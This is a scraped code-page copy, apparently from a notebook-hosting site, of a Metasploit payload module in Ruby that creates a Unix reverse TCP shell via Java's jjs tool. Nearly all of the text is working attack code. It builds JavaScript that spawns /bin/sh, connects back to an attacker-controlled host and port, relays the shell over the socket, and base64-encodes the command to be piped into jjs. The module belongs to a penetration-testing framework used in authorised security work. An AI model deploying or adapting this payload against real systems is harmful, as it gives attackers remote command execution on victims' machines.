Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_jjs.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 863910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Reverse TCP (via jjs)',16'Description' => 'Connect back and create a command shell via jjs',17'Author' => [18'conerpirate', # jjs reverse shell19'bcoles' # metasploit20],21'References' => [22['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],23['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],24['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html'],25],26'License' => MSF_LICENSE,27'Platform' => 'unix',28'Arch' => ARCH_CMD,29'Handler' => Msf::Handler::ReverseTcp,30'Session' => Msf::Sessions::CommandShell,31'PayloadType' => 'cmd',32'RequiredCmd' => 'jjs',33'Payload' => { 'Offsets' => {}, 'Payload' => '' }34))35register_options(36[37OptString.new('SHELL', [ true, 'The shell to execute', '/bin/sh' ])38]39)40register_advanced_options(41[42OptString.new('JJSPath', [true, 'The path to the JJS executable', 'jjs'])43]44)45end4647def generate(_opts = {})48return super + command_string49end5051def command_string52lhost = datastore['LHOST']53lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)5455jcode = %Q{56var ProcessBuilder=Java.type("java.lang.ProcessBuilder");57var p=new ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();58var ss=Java.type("java.net.Socket");59var s=new ss("#{lhost}",#{datastore['LPORT']});60var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();61var po=p.getOutputStream(),so=s.getOutputStream();62while(!s.isClosed()){63while(pi.available()>0)so.write(pi.read());64while(pe.available()>0)so.write(pe.read());65while(si.available()>0)po.write(si.read());66so.flush();67po.flush();68Java.type("java.lang.Thread").sleep(50);69try{p.exitValue();break;}catch(e){}70};71p.destroy();s.close();72}73minified = jcode.split("\n").map(&:lstrip).join7475%Q{echo "eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}')));"|#{datastore['JJSPath']}}76end77end787980